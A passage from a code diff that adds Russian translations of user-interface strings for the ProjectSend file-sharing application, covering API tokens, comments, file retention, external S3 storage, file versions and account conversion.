укажете.", + "Changing permissions takes effect immediately": "Изменения разрешений вступают в силу сразу", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Существующий токен сохраняет своё значение, поэтому тот, у кого он есть, тут же получит или потеряет эти разрешения. Если нужен новый секрет, лучше отзовите этот и создайте другой.", + "Some permissions no longer apply": "Некоторые разрешения больше не действуют", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "У этого токена остались разрешения, которые сегодня ничего не дают; при сохранении они будут убраны: :abilities", + "Token updated.": "Токен обновлён.", + "How external tools can act on this installation on your behalf.": "Как внешние инструменты могут действовать в этой установке от вашего имени.", + "OpenAPI specification": "Спецификация OpenAPI", + "Endpoints": "Конечные точки", + "Method": "Метод", + "Tokens": "Токены", + "Your tokens and what they have been doing.": "Ваши токены и что они делали.", + "Every token on this installation and what it has been doing.": "Каждый токен этой установки и что он делал.", + "Show all tokens": "Показать все токены", + "Show only mine": "Показать только мои", + "Manage tokens": "Управлять токенами", + "Requests (7 days)": "Запросы (7 дней)", + "Failed (7 days)": "Неудачные (7 дней)", + "Median response": "Медианное время ответа", + "No requests yet": "Запросов пока нет", + ":count expired": "Истекло: :count", + "Requests": "Запросы", + "Succeeded": "Успешные", + "Failed": "Неудачные", + "Request history is kept for :days days.": "История запросов хранится :days дн.", + "Request history is kept indefinitely.": "История запросов хранится бессрочно.", + "No tokens yet.": "Токенов пока нет.", + "Owner": "Владелец", + "Last used": "Последнее использование", + "History": "История", + "Busiest endpoints": "Самые нагруженные конечные точки", + "No requests in the last 7 days.": "За последние 7 дней запросов не было.", + "Recent changes made through the API": "Недавние изменения, сделанные через API", + "Full history": "Полная история", + "Nothing has been changed through the API yet.": "Через API пока ничего не меняли.", + "API usage": "Использование API", + "Open the API dashboard": "Открыть панель API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "У вас нет токенов API. Создайте токен, чтобы внешний инструмент мог действовать от вашего имени.", + "API request history (days)": "История запросов API (дни)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Сколько панель API хранит запись о каждом запросе. Это история использования, а не журнал активности: журнал — это аудиторский след, и его никогда не чистят. Укажите 0, чтобы хранить бессрочно.", + "A category was created": "Категория создана", + "A category was deleted": "Категория удалена", + "A category was renamed": "Категория переименована", + "A comment was approved": "Комментарий одобрен", + "A comment was deleted": "Комментарий удалён", + "A comment was edited": "Комментарий изменён", + "A comment was posted on a file": "К файлу добавлен комментарий", + "A custom asset was created": "Создан собственный материал", + "A custom asset was deleted": "Удалён собственный материал", + "A custom asset was disabled": "Отключён собственный материал", + "A custom asset was enabled": "Включён собственный материал", + "A custom asset was updated": "Обновлён собственный материал", + "A custom field was created": "Создано дополнительное поле", + "A custom field was deleted": "Удалено дополнительное поле", + "A custom field was updated": "Обновлено дополнительное поле", + "A deleted account's files and folders were deleted": "Файлы и папки удалённой учётной записи удалены", + "A deleted account's files and folders were reassigned": "Файлы и папки удалённой учётной записи переназначены", + "A file was made private": "Файл сделан закрытым", + "A file was made public": "Файл сделан публичным", + "A file was previewed": "Файл просмотрен", + "A folder was made private": "Папка сделана закрытой", + "A folder was made public": "Папка сделана публичной", + "A group was made private": "Группа сделана закрытой", + "A group was made public": "Группа сделана публичной", + "An API token was created": "Создан токен API", + "An API token was revoked": "Отозван токен API", + "An API token was updated": "Обновлён токен API", + "An expired file was automatically deleted after its retention grace period passed": "Просроченный файл удалён автоматически по истечении срока хранения", + "An orphan file was automatically deleted after its retention grace period passed": "Осиротевший файл удалён автоматически по истечении срока хранения", + "An upload was cancelled": "Загрузка отменена", + "Approved a comment on the file \":subject\"": "Одобрил(а) комментарий к файлу «:subject»", + "Cancelled uploading the file \":name\"": "Отменил(а) загрузку файла «:name»", + "Commented on the file \":subject\"": "Прокомментировал(а) файл «:subject»", + "Created the API token \":token_name\"": "Создал(а) токен API «:token_name»", + "Created the category \":subject\"": "Создал(а) категорию «:subject»", + "Created the custom asset \":subject\"": "Создал(а) собственный материал «:subject»", + "Created the custom field \":name\"": "Создал(а) дополнительное поле «:name»", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Удалил(а) файлов: :files и папок: :folders, принадлежавших удалённой учётной записи «:name»", + "Deleted a comment on the file \":subject\"": "Удалил(а) комментарий к файлу «:subject»", + "Deleted the category \":name\"": "Удалил(а) категорию «:name»", + "Deleted the custom asset \":name\"": "Удалил(а) собственный материал «:name»", + "Deleted the custom field \":name\"": "Удалил(а) дополнительное поле «:name»", + "Deleted the expired file \":name\"": "Удалил(а) просроченный файл «:name»", + "Disabled the custom asset \":subject\"": "Отключил(а) собственный материал «:subject»", + "Edited a comment on the file \":subject\"": "Изменил(а) комментарий к файлу «:subject»", + "Enabled the custom asset \":subject\"": "Включил(а) собственный материал «:subject»", + "Made the file \":subject\" private": "Сделал(а) файл «:subject» закрытым", + "Made the file \":subject\" public": "Сделал(а) файл «:subject» публичным", + "Made the folder \":subject\" private": "Сделал(а) папку «:subject» закрытой", + "Made the folder \":subject\" public": "Сделал(а) папку «:subject» публичной", + "Made the group \":subject\" private": "Сделал(а) группу «:subject» закрытой", + "Made the group \":subject\" public": "Сделал(а) группу «:subject» публичной", + "Previewed the file \":subject\"": "Просмотрел(а) файл «:subject»", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Переназначил(а) файлов: :files и папок: :folders с удалённой учётной записи «:name» на :target", + "Renamed the category to \":subject\"": "Переименовал(а) категорию в «:subject»", + "Revoked the API token \":token_name\"": "Отозвал(а) токен API «:token_name»", + "Updated the API token \":token_name\"": "Обновил(а) токен API «:token_name»", + "Updated the custom asset \":subject\"": "Обновил(а) собственный материал «:subject»", + "Updated the custom field \":name\"": "Обновил(а) дополнительное поле «:name»", + "Manage client custom fields": "Управление дополнительными полями клиентов", + "Moderate comments": "Модерация комментариев", + "Only me": "Только я", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Виден каждому, кто может открыть этот файл, включая посетителей без входа в систему.", + "Anyone, including visitors who are not logged in": "Кто угодно, включая посетителей без входа в систему", + "Staff and clients": "Команда и клиенты", + "Staff only": "Только команда", + "No files — commenting is off": "Ни одного файла — комментирование выключено", + "Only files marked as commentable": "Только файлы, открытые для комментариев", + "Public files only": "Только публичные файлы", + "Shared files only": "Только файлы с открытым доступом", + "(blank = inheriting the site default)": "(пусто = берётся значение сайта по умолчанию)", + "(blank = unlimited, no site default is set)": "(пусто = без ограничений, значение по умолчанию для сайта не задано)", + "(deleted file)": "(удалённый файл)", + ":authorName commented on \":fileName\"": ":authorName прокомментировал(а) «:fileName»", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName прокомментировал(а) «:fileName» и ждёт одобрения", + ":count comments": "Комментариев: :count", + ":count file updated.|:count files updated.": "Обновлён :count файл.|Обновлено файлов: :count.", + ":count waiting for approval": "Ожидают одобрения: :count", + ":guest commented on the file \":subject\"": ":guest прокомментировал(а) файл «:subject»", + ":name — files": ":name — файлы", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Обновлено :updated из :requested выбранных файлов. Остальные пропущены, потому что у вас нет прав на их изменение.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Выразительная шапка вокруг вашего логотипа — вместе с оформлением Gallery даёт аккуратный почтовый ящик в стиле вашего бренда.", + "Access": "Доступ", + "Access key": "Ключ доступа", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Учётные записи, на которые распространяется эта настройка, могут загружать только файлы с расширениями из разрешённого списка ниже.", + "A clean, neutral layout that works well for any kind of file sharing.": "Чистая нейтральная вёрстка, которая подойдёт для любого обмена файлами.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Комментарий того, кто не вошёл в систему, остаётся скрытым, пока модератор его не одобрит.", + "A comment is waiting for approval": "Комментарий ожидает одобрения", + "Activity history for :name": "История активности: :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Ежедневная задача безвозвратно удаляет файлы, у которых истёк срок действия и указанная ниже отсрочка.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Ежедневная задача безвозвратно удаляет локальные осиротевшие файлы старше указанной ниже отсрочки.", + "Add categories": "Добавление категорий", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Добавляет вариант «Все» при комментировании публично видимого файла. Без этого комментарии доходят только до вошедших в систему.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Плотный список в духе таблицы, вмещающий на экран больше файлов, — лучший выбор для больших коллекций и частых загрузок.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Сетка фотографий во всю ширину, созданная для визуального просмотра, — лучший выбор для фотографов и коллекций с обилием изображений.", + "Allow clients to add files to this folder from their portal.": "Разрешить клиентам добавлять файлы в эту папку из своего портала.", + "Allow comments on this file": "Разрешить комментарии к этому файлу", + "Allowed file extensions": "Разрешённые расширения файлов", + "Allow public comments": "Разрешить публичные комментарии", + "and :count more": "и ещё :count", + "Anonymous": "Аноним", + "Anonymous downloads": "Анонимные скачивания", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Применяется к любому клиенту без собственной квоты, включая зарегистрировавшихся самостоятельно. Укажите 0, чтобы значения по умолчанию не было (без ограничений, если у клиента нет своего лимита).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Страница публичной группы всегда доступна по собственной ссылке, как только вы отметите её как публичную, — эта страница управляет только базовым адресом и необязательным каталогом, который выводит сразу все публичные группы и файлы.", + "A reset link will be sent if the account exists.": "Если такая учётная запись существует, мы отправим ссылку для сброса пароля.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Просторная цветная вёрстка в духе облачных хранилищ, с понятными значками типов файлов и щедрыми отступами.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Лаконичный сдержанный дизайн без лишних украшений — под стать оформлению Compact.", + "Auto approve new accounts": "Автоматически одобрять новые учётные записи", + "Automatically delete expired files": "Автоматически удалять просроченные файлы", + "Automatically delete orphan files": "Автоматически удалять осиротевшие файлы", + "A visitor commented on a file": "Посетитель прокомментировал файл", + "Awaiting approval": "Ожидает одобрения", + "Back": "Назад", + "Be careful when changing this list — it can affect the security of this installation.": "Меняйте этот список осторожно — это может повлиять на безопасность установки.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Пусто = берётся значение сайта по умолчанию (сейчас :default МБ). Укажите значение, чтобы задать этому клиенту собственный лимит.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Пусто = без ограничений (значение по умолчанию для сайта не задано). Укажите значение, чтобы задать этому клиенту собственный лимит.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Синие акценты и чёткая структура в духе облачных хранилищ — под стать оформлению Drive.", + "Branding": "Фирменный стиль", + "Bucket": "Бакет", + "Bulk edit :count files": "Массовое изменение файлов (:count)", + "by": "автор:", + "Change at least one field before applying a bulk edit.": "Измените хотя бы одно поле, прежде чем применять массовое изменение.", + "Check for updates": "Проверять обновления", + "Client access": "Доступ клиентов", + "Client downloads": "Скачивания клиентов", + "Clients can register themselves": "Клиенты могут регистрироваться сами", + "Clients only": "Только клиенты", + "Comment approved.": "Комментарий одобрен.", + "Comment deleted.": "Комментарий удалён.", + "Comments": "Комментарии", + "Comments are closed on this file.": "Комментарии к этому файлу закрыты.", + "Comments already written stay readable even if a file stops accepting new ones.": "Уже написанные комментарии остаются доступными для чтения, даже если файл перестал принимать новые.", + "Comments awaiting approval": "Комментарии, ожидающие одобрения", + "Comment settings": "Настройки комментариев", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Комментарии посетителей, не вошедших в систему. Никто их не увидит, пока вы не одобрите.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Подключите внешний S3-совместимый бакет (AWS S3, MinIO или другой S3-совместимый сервис) как хранилище для новых загрузок.", + "Custom endpoint": "Своя конечная точка", + "Custom field created.": "Дополнительное поле создано.", + "Custom field deleted.": "Дополнительное поле удалено.", + "Custom field updated.": "Дополнительное поле обновлено.", + "Custom range": "Свой период", + "Default storage quota (MB)": "Квота хранилища по умолчанию (МБ)", + "Delete account?": "Удалить учётную запись?", + "Delete failed job?": "Удалить неудавшуюся задачу?", + "Delete them permanently": "Удалить безвозвратно", + "Delete this comment?": "Удалить этот комментарий?", + "Delete this many days after being found": "Удалять через столько дней после обнаружения", + "Delete this many days after expiry": "Удалять через столько дней после истечения срока", + "Download :name": "Скачать :name", + "Downloaded by": "Скачал(а)", + "Download history": "История скачиваний", + "Download history for :name": "История скачиваний: :name", + "Duration": "Длительность", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "У каждого файла на странице изменения есть переключатель «Разрешить комментарии к этому файлу». Комментарии принимают только файлы, где он включён.", + "edited": "изменено", + "Editing window (minutes)": "Окно для изменений (минуты)", + "Email settings saved.": "Настройки почты сохранены.", + "Error": "Ошибка", + "Every download, newest first": "Каждое скачивание, начиная с последнего", + "Every download across the installation, newest first": "Каждое скачивание во всей установке, начиная с последнего", + "Every recorded action, newest first": "Каждое записанное действие, начиная с последнего", + "Expiration": "Срок действия", + "Expired :date": "Истёк :date", + "Expired only": "Только просроченные", + "Extension, e.g. pdf": "Расширение, напр. pdf", + "Failed at": "Сбой в", + "Failed job deleted.": "Неудавшаяся задача удалена.", + "Failed jobs": "Неудавшиеся задачи", + "Failed to connect: :error": "Не удалось подключиться: :error", + "File retention": "Хранение файлов", + "File retention settings": "Настройки хранения файлов", + "Files accessible to :name": "Файлы, доступные для :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Файлы, лежащие на диске без соответствующей записи, — прерванная загрузка, восстановление из копии, ручное вмешательство в файловую систему", + "Files that accept comments": "Файлы, принимающие комментарии", + "Filters": "Фильтры", + "Folder renamed.": "Папка переименована.", + "Folders": "Папки", + "Grid view": "Вид сеткой", + "Hold comments from visitors for approval": "Задерживать комментарии посетителей до одобрения", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Сколько времени после публикации можно ещё изменить или удалить собственный комментарий. Укажите 0, чтобы не разрешать это никогда.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Сколько хранится просроченный файл до безвозвратного удаления. При 0 он удаляется в тот же день, когда истекает срок.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Сколько хранится осиротевший файл до безвозвратного удаления. При 0 он удаляется в тот же день, когда его обнаружили.", + "IP address": "IP-адрес", + "Job queued for retry.": "Задача поставлена в очередь на повторную попытку.", + "Language: :language": "Язык: :language", + "Last month": "Прошлый месяц", + "Last ran": "Последний запуск", + "Last week": "Прошлая неделя", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Оставьте пустым для AWS S3. Заполните, чтобы использовать S3-совместимый сервис вроде MinIO или Backblaze.", + "Leave empty for a file that never expires.": "Оставьте пустым, чтобы срок действия файла не истекал.", + "Limit file types uploading to": "Ограничить типы загружаемых файлов для", + "List view": "Вид списком", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Сделать эту папку публичной. Каждый файл внутри — сейчас и позже, на любой глубине — тоже станет публичным.", + "Message": "Сообщение", + "Moving": "Перемещение", + "Never run": "Ни разу не запускалась", + "Next cleanup :date": "Следующая очистка :date", + "No accounts match \":search\".": "Нет учётных записей, подходящих под «:search».", + "Nobody (no restriction)": "Никто (без ограничений)", + "No comments yet.": "Комментариев пока нет.", + "No expired files.": "Просроченных файлов нет.", + "No extensions added yet.": "Расширения пока не добавлены.", + "No failed jobs.": "Неудавшихся задач нет.", + "No files match these filters.": "Нет файлов, подходящих под эти фильтры.", + "None of the selected files could be edited.": "Ни один из выбранных файлов изменить не удалось.", + "Nothing is waiting for approval.": "Ничего не ожидает одобрения.", + "of :count": "из :count", + "of :quota": "из :quota", + "on": "—", + "Only the fields you change here are applied — everything else is left as-is.": "Применяются только те поля, которые вы здесь измените, — всё остальное остаётся как есть.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Это касается только загрузок, сделанных после включения этого хранилища. Файлы, уже лежащие локально, остаются на месте и продолжают работать — переноса между хранилищами не происходит.", + "Open public page": "Открыть публичную страницу", + "Optional. Confines uploads to a subfolder within the bucket.": "Необязательно. Ограничивает загрузки вложенной папкой внутри бакета.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Автоудаление осиротевших файлов работает только с локальным хранилищем, поэтому при включённом внешнем хранилище остаётся выключенным — даже если раньше было включено.", + "Orphan files": "Осиротевшие файлы", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "У облачных учётных записей исходящая почта идёт через централизованно управляемый ретранслятор. Адрес и имя отправителя, которые видят получатели, вы всё равно можете выбрать сами.", + "Page": "Страница", + "Path prefix": "Префикс пути", + "Pending": "Ожидает", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Периодически проверяет публичный репозиторий projectsend.org на наличие более новой версии и показывает уведомление на панели. Ничего не скачивается и не применяется автоматически.", + "Permanently failed": "Окончательно не выполнена", + "Post comment": "Отправить комментарий", + "Preview of :name": "Предпросмотр :name", + "Previous month": "Предыдущий месяц", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Классический вид писем ProjectSend — простой и нейтральный, хорошо сочетается с любой публичной или портальной темой.", + "ProjectSend :version is available": "Доступен ProjectSend :version", + "Public folder": "Публичная папка", + "Published :date": "Опубликовано :date", + "Queue": "Очередь", + "Reassign them to another account": "Переназначить их другой учётной записи", + "Region": "Регион", + "Remove a category": "Убрать категорию", + "Remove categories": "Удаление категорий у файлов", + "Rename folder": "Переименовать папку", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Требуется большинству S3-совместимых сервисов (MinIO и т. п.). Для AWS S3 оставьте выключенным.", + "Requires Upload files": "Требует разрешения «Загрузка файлов»", + "Retry": "Повторить", + "Root": "Корень", + "Scheduler": "Планировщик", + "Scheduler settings": "Настройки планировщика", + "Search accounts…": "Поиск учётных записей…", + "Search and filter": "Поиск и фильтры", + "Secret key": "Секретный ключ", + "Select files to bulk-edit them": "Выберите файлы, чтобы изменить их массово", + "Sender identity": "Данные отправителя", + "Set to…": "Установить в…", + "Share": "Открыть доступ", + "Shared with client": "Доступ открыт клиенту", + "Shared with me": "Доступные мне", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Открыв доступ к папке, вы открываете всё её содержимое — сейчас и в дальнейшем. Доступом управляйте на странице изменения.", + "Someone commented on a file": "Кто-то прокомментировал файл", + "Sort by": "Сортировать по", + "Storage settings": "Настройки хранилища", + "Storage settings saved.": "Настройки хранилища сохранены.", + "Success: connected to bucket \":bucket\".": "Успешно: подключение к бакету «:bucket» установлено.", + "Task": "Задача", + "Test connection": "Проверить подключение", + "Test result": "Результат проверки", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Этой учётной записи принадлежит файлов: :files и папок: :folders. Что с ними делать?", + "This cannot be undone.": "Отменить это нельзя.", + "This client has no accessible files yet.": "У этого клиента пока нет доступных файлов.", + "This deletion is permanent": "Это удаление безвозвратно", + "This file is public because it's inside the public folder \":name\".": "Этот файл публичный, потому что лежит в публичной папке «:name».", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Эту папку нельзя удалить: в ней :count файл, загруженный не вами.|Эту папку нельзя удалить: в ней файлов, загруженных не вами: :count.", + "This removes it from the failed jobs list without retrying it.": "Это уберёт её из списка неудавшихся задач без повторной попытки.", + "Total size": "Общий размер", + "To update, run:": "Чтобы обновить, выполните:", + "Unavailable while external storage is active": "Недоступно, пока включено внешнее хранилище", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "В отличие от просроченного файла, у осиротевшего нет записи в базе, которую можно было бы пометить удалённой, — вернуть его после удаления не получится.", + "Unlimited storage": "Безлимитное хранилище", + "Update :count files": "Обновить выбранные файлы (:count)", + "Uploaded and shared": "Загружено и открыто", + "Uploaded by client": "Загружено клиентом", + "Uploaded by me": "Загружено мной", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Загружено клиентом либо назначено ему напрямую, через группу или через папку с открытым доступом.", + "Uploading into \":name\".": "Загрузка в «:name».", + "Upload settings saved.": "Настройки загрузки сохранены.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Настройки загрузки сохранены. Внимание: разрешать :extensions может быть опасно — оставляйте их в списке, только если понимаете риск.", + "used": "использовано", + "Used in the public folder URL.": "Используется в адресе публичной папки.", + "Use external storage for new uploads": "Использовать внешнее хранилище для новых загрузок", + "Use path-style addressing": "Использовать адресацию по пути", + "View all downloads (:count)": "Показать все скачивания (:count)", + "View full history (:count)": "Показать полную историю (:count)", + "View release notes": "Посмотреть примечания к выпуску", + "View release notes on GitHub": "Посмотреть примечания к выпуску на GitHub", + "Visitor": "Посетитель", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Посетители без входа в систему могут писать только публичные комментарии, поэтому это ни на что не повлияет, пока вы не разрешите публичные комментарии ниже.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Что происходит с файлом, когда истекает его срок или когда он обнаруживается на диске без хозяина", + "Where": "Где", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Действительно ли работают запланированные задачи и какие письма из очереди не удалось отправить", + "Who can comment on files, and which files accept comments": "Кто может комментировать файлы и какие файлы принимают комментарии", + "Who can see this": "Кто это увидит", + "Who can write a comment": "Кто может написать комментарий", + "Write a comment…": "Напишите комментарий…", + "You cannot grant permissions your own role does not have: :permissions": "Вы не можете выдать разрешения, которых нет у вашей собственной роли: :permissions", + "You need upload permission to create folders": "Чтобы создавать папки, нужно разрешение на загрузку", + "Your comment will be reviewed before it appears.": "Ваш комментарий будет проверен перед публикацией.", + "Your name": "Ваше имя", + "— No change —": "— Без изменений —", + "Newest first": "Сначала новые", + "Oldest first": "Сначала старые", + "Name (A–Z)": "Название (А–Я)", + "Name (Z–A)": "Название (Я–А)", + "Largest first": "Сначала большие", + "Smallest first": "Сначала маленькие", + "Transfers": "Передачи", + "Top clients by storage": "Клиенты с наибольшим объёмом", + "Largest files": "Самые большие файлы", + "Expired files": "Просроченные файлы", + "A private note. Nobody else can read it, staff included.": "Личная заметка. Больше никто её не прочитает, даже команда.", + "Reply": "Ответить", + "Replying to :name": "Ответ для :name", + "The team working on this file. No client ever sees it.": "Команда, работающая над этим файлом. Ни один клиент этого не видит.", + "With :name": "С :name", + "Your reply goes to :name only, and to staff.": "Ваш ответ увидят только :name и команда.", + "Your reply goes to the same people as the comment above.": "Ваш ответ увидят те же люди, что и комментарий выше.", + "Public comments are turned off for this site.": "Публичные комментарии на этом сайте выключены.", + "Only a file that is publicly visible can have public comments.": "Публичные комментарии возможны только у публично видимого файла.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Команда и все, кому открыт доступ к этому файлу. Клиенты не видят друг друга.", + "Everyone above, plus anyone who opens this file without logging in.": "Все перечисленные выше, а также любой, кто откроет этот файл без входа в систему.", + "Not signed in": "Не вошёл в систему", + "New comment on \":name\"": "Новый комментарий к «:name»", + ":author commented on \":name\".": ":author прокомментировал(а) «:name».", + ":author commented on \":name\"": ":author прокомментировал(а) «:name»", + "Read the comment": "Прочитать комментарий", + ":count new comments": "Новых комментариев: :count", + "There are :count new comments for you:": "Для вас есть новые комментарии (:count):", + "Someone": "Кто-то", + "New comment on a file": "Новый комментарий к файлу", + "Multiple new comments (digest)": "Несколько новых комментариев (сводка)", + "Marked the file \":subject\" as a revision of \":previous\"": "Отметил(а) файл «:subject» как новую версию «:previous»", + "Removed the version link from the file \":subject\"": "Убрал(а) связь версий у файла «:subject»", + "A file was marked as a revision of another": "Файл отмечен как новая версия другого", + "A file version link was removed": "Связь версий убрана", + "A newer version of a file I have is available": "Доступна более новая версия файла, который у меня есть", + "A newer version of \":previousName\" is available: :itemName": "Доступна более новая версия «:previousName»: :itemName", + "A newer version of a file you have is available": "Доступна более новая версия файла, который у вас есть", + "\":previous\" has been replaced by a newer version: \":name\".": "«:previous» заменён более новой версией: «:name».", + ":count files you have were replaced by newer versions": "Файлы, которые у вас есть, заменены более новыми версиями (:count)", + "Newer versions of the following :count files are available:": "Доступны более новые версии следующих файлов (:count):", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Файл не может быть новой версией самого себя.", + "That file is already part of this file's version history.": "Этот файл уже входит в историю версий данного файла.", + "That file has already been revised by \":name\". Remove that link first.": "Этот файл уже заменён файлом «:name». Сначала уберите ту связь.", + "That file has just been revised by another file. Reload and try again.": "Этот файл только что был заменён другим файлом. Обновите страницу и попробуйте снова.", + "This version history is too long. Remove an older link first.": "Эта история версий слишком длинная. Сначала уберите более старую связь.", + "That file can't be used as the previous version.": "Этот файл нельзя использовать как предыдущую версию.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "К этому файлу уже открыт доступ другим людям, поэтому его нельзя отметить как новую версию. Попросите сделать это вашего контактного человека.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Этот файл — новая версия «:name». Доступом управляйте через «:name» — каждая версия следует за ним.", + "This file is a new version of another file, and is shared with the same people as that one.": "Этот файл — новая версия другого файла, и доступ к нему открыт тем же людям, что и к нему.", + "Versions": "Версии", + "Mark this file as a newer version of something you uploaded before.": "Отметьте этот файл как более новую версию того, что вы загружали раньше.", + "This version is outdated": "Эта версия устарела", + "It was replaced by \":name\".": "Её заменил файл «:name».", + "This file is a new version of": "Этот файл — новая версия", + "Remove link": "Убрать связь", + "Mark as a new version": "Отметить как новую версию", + "Version history": "История версий", + "Version link removed.": "Связь версий убрана.", + "This file is now marked as a new version of \":name\".": "Теперь этот файл отмечен как новая версия «:name».", + "Share this file's recipients with the original?": "Перенести получателей этого файла на оригинал?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Новая версия доступна тем же людям, что и оригинал. Эти получатели данного файла будут добавлены к нему, чтобы никто не потерял доступ:", + "No other files are available to link to.": "Нет других файлов, с которыми можно связать этот.", + "Shared through \":name\"": "Доступ открыт через «:name»", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Этот файл — новая версия «:name», поэтому доступ к нему открыт тем же людям. Изменить, кто его видит, можно только через тот файл.", + "Edit sharing on \":name\"": "Изменить доступ к «:name»", + "You don't have permission to change who that file is shared with.": "У вас нет прав менять, кому открыт доступ к тому файлу.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Это новая версия «:name», и доступ к ней открыт тем же людям. Доступом управляйте через тот файл.", + "New version of": "Новая версия", + "Replaced by": "Заменён файлом", + "Outdated": "Устарел", + "New version": "Новая версия", + "Replaced by :name": "Заменён файлом :name", + "Replaces :name": "Заменяет :name", + "There is a newer version of this file": "Есть более новая версия этого файла", + "This replaces": "Это заменяет", + "This is a new version of a file I uploaded before": "Это новая версия файла, который я загружал(а) раньше", + "Search your files…": "Поиск в ваших файлах…", + "You have no earlier files that can be replaced.": "У вас нет более ранних файлов, которые можно заменить.", + "This file will be shared with the same people who have \":name\".": "Доступ к этому файлу будет открыт тем же людям, у кого есть «:name».", + ":name (group)": ":name (группа)", + "Search files…": "Поиск файлов…", + "Search…": "Поиск…", + "Searching…": "Идёт поиск…", + "No files match \":search\".": "Нет файлов, подходящих под «:search».", + "Nothing matches \":search\".": "Ничего не подходит под «:search».", + "A client account was converted to staff": "Учётная запись клиента преобразована в учётную запись команды", + "A staff account was converted to a client": "Учётная запись команды преобразована в учётную запись клиента", + "A client account was created from the directory": "Из каталога создана учётная запись клиента", + "Converted the client account \":subject\" to staff (:role)": "Преобразовал(а) учётную запись клиента «:subject» в учётную запись команды (:role)", + "Converted the staff account \":subject\" to a client": "Преобразовал(а) учётную запись команды «:subject» в учётную запись клиента", + "Created a client account from the directory on first sign-in": "Создал(а) учётную запись клиента из каталога при первом входе", + "Convert accounts": "Преобразование учётных записей", + "Convert": "Преобразовать", + "Convert to client": "Преобразовать в клиента", + "Convert to staff": "Преобразовать в учётную запись команды", + "Convert :name to a client": "Преобразовать :name в клиента", + "Convert :name to staff": "Преобразовать :name в учётную запись команды", + "Client → staff": "Клиент → команда", + "Staff → client": "Команда → клиент", + "Move an account between staff and clients. Files they uploaded are always kept.": "Переведите учётную запись между командой и клиентами. Загруженные ею файлы всегда сохраняются.", + "They lose access to every staff screen immediately.": "Доступ ко всем экранам команды пропадает сразу.", + "They gain access to the staff screens their role allows.": "Появляется доступ к тем экранам команды, которые разрешает роль.", + "Will be revoked": "Будет отозвано", + "Will be revoked and cannot be undone": "Будет отозвано без возможности вернуть", + "Will be kept": "Будет сохранено", + "Nothing": "Ничего", + "Nothing to keep": "Сохранять нечего", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Обратное преобразование вернёт всё из раздела «Будет сохранено». Отозванное оно не возвращает.", + ":files files and :folders folders they uploaded": "Файлы (:files) и папки (:folders), загруженные этой учётной записью", + "No accounts match these filters.": "Нет учётных записей, подходящих под эти фильтры.", + "Account converted to a client.": "Учётная запись преобразована в клиента.", + "Account converted to staff.": "Учётная запись преобразована в учётную запись команды.", + "Approve or 